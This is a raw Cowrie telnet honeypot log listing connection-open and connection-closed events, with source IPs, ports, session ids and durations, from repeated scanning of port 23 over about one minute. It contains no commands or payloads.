{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":47324,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d9c1c9b2c15","protocol":"telnet","message":"New connection: 207.244.241.37:47324 (159.203.135.109:23) [session: 8d9c1c9b2c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:10.274472Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59824,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6a05700399","protocol":"telnet","message":"New connection: 162.219.178.250:59824 (10.17.0.5:23) [session: 4d6a05700399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:10.449938Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56380,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7915c2a555d","protocol":"telnet","message":"New connection: 188.208.141.113:56380 (10.17.0.5:23) [session: e7915c2a555d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:12.300760Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34264,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d35711880b","protocol":"telnet","message":"New connection: 162.219.178.250:34264 (10.17.0.5:23) [session: 53d35711880b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:12.305906Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56392,"dst_ip":"10.17.0.5","dst_port":23,"session":"d02d1d863d30","protocol":"telnet","message":"New connection: 188.208.141.113:56392 (10.17.0.5:23) [session: d02d1d863d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:12.346143Z"}
{"eventid":"cowrie.session.closed","duration":31.095362901687622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:13.536058Z","src_ip":"207.244.241.37","session":"9467ac8d2ff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38738,"dst_ip":"10.17.0.5","dst_port":23,"session":"71db987004d5","protocol":"telnet","message":"New connection: 162.219.178.250:38738 (10.17.0.5:23) [session: 71db987004d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:15.146175Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38772,"dst_ip":"10.17.0.5","dst_port":23,"session":"057579ffdcce","protocol":"telnet","message":"New connection: 206.189.32.23:38772 (10.17.0.5:23) [session: 057579ffdcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:16.082708Z"}
{"eventid":"cowrie.session.closed","duration":3.978776216506958,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:16.324821Z","src_ip":"188.208.141.113","session":"d02d1d863d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40828,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af092f28ab5","protocol":"telnet","message":"New connection: 162.219.178.250:40828 (10.17.0.5:23) [session: 1af092f28ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:16.452895Z"}
{"eventid":"cowrie.session.closed","duration":45.71039342880249,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:19.200480Z","src_ip":"206.189.32.23","session":"9de7db01dab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":48722,"dst_ip":"10.17.0.5","dst_port":23,"session":"bae38ce88367","protocol":"telnet","message":"New connection: 162.219.178.250:48722 (10.17.0.5:23) [session: bae38ce88367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:21.204772Z"}
{"eventid":"cowrie.session.closed","duration":46.897698163986206,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:22.407652Z","src_ip":"206.189.32.23","session":"6c8a5813a86f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49232,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9581ece579f","protocol":"telnet","message":"New connection: 162.219.178.250:49232 (10.17.0.5:23) [session: e9581ece579f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:22.526314Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46666,"dst_ip":"10.17.0.5","dst_port":23,"session":"71845d6fa6b7","protocol":"telnet","message":"New connection: 188.208.141.113:46666 (10.17.0.5:23) [session: 71845d6fa6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:23.326313Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46670,"dst_ip":"10.17.0.5","dst_port":23,"session":"68cf86578ba4","protocol":"telnet","message":"New connection: 188.208.141.113:46670 (10.17.0.5:23) [session: 68cf86578ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:25.777678Z"}
{"eventid":"cowrie.session.closed","duration":30.536561727523804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:26.582033Z","src_ip":"162.219.178.250","session":"d99fb8ea356f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e056fbec4b","protocol":"telnet","message":"New connection: 162.219.178.250:53578 (10.17.0.5:23) [session: b9e056fbec4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:27.479500Z"}
{"eventid":"cowrie.session.closed","duration":34.521321058273315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:28.259984Z","src_ip":"162.219.178.250","session":"021ec1b7f04c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59894,"dst_ip":"10.17.0.5","dst_port":23,"session":"70cfde5b0fa4","protocol":"telnet","message":"New connection: 162.219.178.250:59894 (10.17.0.5:23) [session: 70cfde5b0fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:28.588314Z"}
{"eventid":"cowrie.session.closed","duration":39.92688846588135,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:29.272041Z","src_ip":"162.219.178.250","session":"4c62a4fa86b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254823684692383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:29.989578Z","src_ip":"162.219.178.250","session":"0380aaa4ab70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":53942,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb197a1c92e","protocol":"telnet","message":"New connection: 207.244.241.37:53942 (159.203.135.109:23) [session: adb197a1c92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:30.726686Z"}
{"eventid":"cowrie.session.closed","duration":31.223673582077026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:31.834583Z","src_ip":"207.244.241.37","session":"db8ce53a596e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42142,"dst_ip":"10.17.0.5","dst_port":23,"session":"09149b98f7be","protocol":"telnet","message":"New connection: 188.208.141.113:42142 (10.17.0.5:23) [session: 09149b98f7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:31.973422Z"}
{"eventid":"cowrie.session.closed","duration":31.243885040283203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:32.125587Z","src_ip":"162.219.178.250","session":"d0f9df233f4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.228505849838257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:32.363114Z","src_ip":"162.219.178.250","session":"b7d93f7eabbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36416,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ccb6fd31f6e","protocol":"telnet","message":"New connection: 162.219.178.250:36416 (10.17.0.5:23) [session: 4ccb6fd31f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:32.782087Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":55664,"dst_ip":"159.203.135.109","dst_port":23,"session":"897e0f903f15","protocol":"telnet","message":"New connection: 207.244.241.37:55664 (159.203.135.109:23) [session: 897e0f903f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:32.792395Z"}
{"eventid":"cowrie.session.closed","duration":7.7286834716796875,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:33.506231Z","src_ip":"188.208.141.113","session":"68cf86578ba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.09908676147461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:34.073929Z","src_ip":"207.244.241.37","session":"d1f4e0e87a26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42150,"dst_ip":"10.17.0.5","dst_port":23,"session":"92ed8eb6579a","protocol":"telnet","message":"New connection: 188.208.141.113:42150 (10.17.0.5:23) [session: 92ed8eb6579a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:36.708714Z"}
{"eventid":"cowrie.session.closed","duration":30.58682632446289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:36.810807Z","src_ip":"162.219.178.250","session":"7733937f6157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6498966217041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:37.878164Z","src_ip":"162.219.178.250","session":"e9e97ec195cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47462,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee95429867ec","protocol":"telnet","message":"New connection: 162.219.178.250:47462 (10.17.0.5:23) [session: ee95429867ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:40.523377Z"}
{"eventid":"cowrie.session.closed","duration":30.761595010757446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:41.035959Z","src_ip":"207.244.241.37","session":"8d9c1c9b2c15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940051317214966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:41.389878Z","src_ip":"162.219.178.250","session":"4d6a05700399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":41920,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f4da6aa6b13","protocol":"telnet","message":"New connection: 162.219.178.250:41920 (10.17.0.5:23) [session: 5f4da6aa6b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:41.484830Z"}
{"eventid":"cowrie.session.closed","duration":30.96957492828369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:43.275411Z","src_ip":"162.219.178.250","session":"53d35711880b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53868,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce3bc3150443","protocol":"telnet","message":"New connection: 162.219.178.250:53868 (10.17.0.5:23) [session: ce3bc3150443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:44.197720Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":48300,"dst_ip":"159.203.135.109","dst_port":23,"session":"f019eb1a14cb","protocol":"telnet","message":"New connection: 207.244.241.37:48300 (159.203.135.109:23) [session: f019eb1a14cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:44.234441Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52892,"dst_ip":"10.17.0.5","dst_port":23,"session":"03eaf8241560","protocol":"telnet","message":"New connection: 162.219.178.250:52892 (10.17.0.5:23) [session: 03eaf8241560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:44.452858Z"}
{"eventid":"cowrie.session.closed","duration":36.416855812072754,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:44.559946Z","src_ip":"162.219.178.250","session":"1468a402a3fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.464369297027588,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:45.172961Z","src_ip":"188.208.141.113","session":"92ed8eb6579a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.355864763259888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:46.501917Z","src_ip":"162.219.178.250","session":"71db987004d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570612907409668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:47.023406Z","src_ip":"162.219.178.250","session":"1af092f28ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57986,"dst_ip":"10.17.0.5","dst_port":23,"session":"64061e184682","protocol":"telnet","message":"New connection: 162.219.178.250:57986 (10.17.0.5:23) [session: 64061e184682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:47.408646Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56038,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a56f5e29c2","protocol":"telnet","message":"New connection: 162.219.178.250:56038 (10.17.0.5:23) [session: 46a56f5e29c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:47.886190Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57370,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf01a0a7ce25","protocol":"telnet","message":"New connection: 162.219.178.250:57370 (10.17.0.5:23) [session: cf01a0a7ce25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:47.928365Z"}
{"eventid":"cowrie.session.closed","duration":35.80003023147583,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:48.100676Z","src_ip":"188.208.141.113","session":"e7915c2a555d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60712,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58ca2b63250","protocol":"telnet","message":"New connection: 162.219.178.250:60712 (10.17.0.5:23) [session: d58ca2b63250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:50.518166Z"}
{"eventid":"cowrie.session.closed","duration":30.489805459976196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:51.694450Z","src_ip":"162.219.178.250","session":"bae38ce88367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":35046,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d93625e4b5","protocol":"telnet","message":"New connection: 162.219.178.250:35046 (10.17.0.5:23) [session: b4d93625e4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:52.587434Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33982,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7e104d0340d","protocol":"telnet","message":"New connection: 162.219.178.250:33982 (10.17.0.5:23) [session: a7e104d0340d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:53.838853Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38086,"dst_ip":"10.17.0.5","dst_port":23,"session":"44088d285964","protocol":"telnet","message":"New connection: 162.219.178.250:38086 (10.17.0.5:23) [session: 44088d285964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:53.887406Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38896,"dst_ip":"10.17.0.5","dst_port":23,"session":"e228497b78bd","protocol":"telnet","message":"New connection: 188.208.141.113:38896 (10.17.0.5:23) [session: e228497b78bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:53.913830Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38618,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d8459047ea","protocol":"telnet","message":"New connection: 162.219.178.250:38618 (10.17.0.5:23) [session: 70d8459047ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:54.309810Z"}
{"eventid":"cowrie.session.closed","duration":31.92278790473938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:54.448993Z","src_ip":"162.219.178.250","session":"e9581ece579f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39824,"dst_ip":"10.17.0.5","dst_port":23,"session":"bce50dc74fb2","protocol":"telnet","message":"New connection: 162.219.178.250:39824 (10.17.0.5:23) [session: bce50dc74fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:56.323185Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38898,"dst_ip":"10.17.0.5","dst_port":23,"session":"64eb1f87f3fa","protocol":"telnet","message":"New connection: 188.208.141.113:38898 (10.17.0.5:23) [session: 64eb1f87f3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:56.725905Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38910,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b13673ab46","protocol":"telnet","message":"New connection: 188.208.141.113:38910 (10.17.0.5:23) [session: c7b13673ab46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:57.020194Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42264,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ecfe39c6db","protocol":"telnet","message":"New connection: 162.219.178.250:42264 (10.17.0.5:23) [session: 74ecfe39c6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:57.290158Z"}
{"eventid":"cowrie.session.closed","duration":30.788936138153076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:58.268326Z","src_ip":"162.219.178.250","session":"b9e056fbec4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d1b44c383b3","protocol":"telnet","message":"New connection: 162.219.178.250:44162 (10.17.0.5:23) [session: 8d1b44c383b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:58.860578Z"}
{"eventid":"cowrie.session.closed","duration":31.140042781829834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:59.728260Z","src_ip":"162.219.178.250","session":"70cfde5b0fa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45264,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f80347d6446","protocol":"telnet","message":"New connection: 162.219.178.250:45264 (10.17.0.5:23) [session: 5f80347d6446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:00.825851Z"}
{"eventid":"cowrie.session.closed","duration":31.097853183746338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:01.824426Z","src_ip":"207.244.241.37","session":"adb197a1c92e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314248085021973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:03.106504Z","src_ip":"207.244.241.37","session":"897e0f903f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":51670,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d608fc81ec9","protocol":"telnet","message":"New connection: 207.244.241.37:51670 (159.203.135.109:23) [session: 3d608fc81ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:03.495310Z"}
{"eventid":"cowrie.session.closed","duration":30.823236227035522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:03.605384Z","src_ip":"162.219.178.250","session":"4ccb6fd31f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"3093b5bea8c0","protocol":"telnet","message":"New connection: 162.219.178.250:49588 (10.17.0.5:23) [session: 3093b5bea8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:04.426655Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46000,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea433da3c527","protocol":"telnet","message":"New connection: 162.219.178.250:46000 (10.17.0.5:23) [session: ea433da3c527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:04.526408Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36688,"dst_ip":"10.17.0.5","dst_port":23,"session":"30fabbf9e4f9","protocol":"telnet","message":"New connection: 188.208.141.113:36688 (10.17.0.5:23) [session: 30fabbf9e4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:05.766569Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":55322,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7cf384e8df6","protocol":"telnet","message":"New connection: 162.219.178.250:55322 (10.17.0.5:23) [session: f7cf384e8df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:08.297496Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45508,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc1be654b3fa","protocol":"telnet","message":"New connection: 162.219.178.250:45508 (10.17.0.5:23) [session: dc1be654b3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:08.572270Z"}
{"eventid":"cowrie.session.closed","duration":0.005038261413574219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:08.577128Z","src_ip":"162.219.178.250","session":"dc1be654b3fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54810,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f1ca34f493e","protocol":"telnet","message":"New connection: 162.219.178.250:54810 (10.17.0.5:23) [session: 6f1ca34f493e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:08.834035Z"}
{"eventid":"cowrie.session.closed","duration":52.878071784973145,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:08.960684Z","src_ip":"206.189.32.23","session":"057579ffdcce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.090123414993286,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:09.416301Z","src_ip":"188.208.141.113","session":"71845d6fa6b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59176,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ea77c5c8b2","protocol":"telnet","message":"New connection: 162.219.178.250:59176 (10.17.0.5:23) [session: 21ea77c5c8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:11.549076Z"}
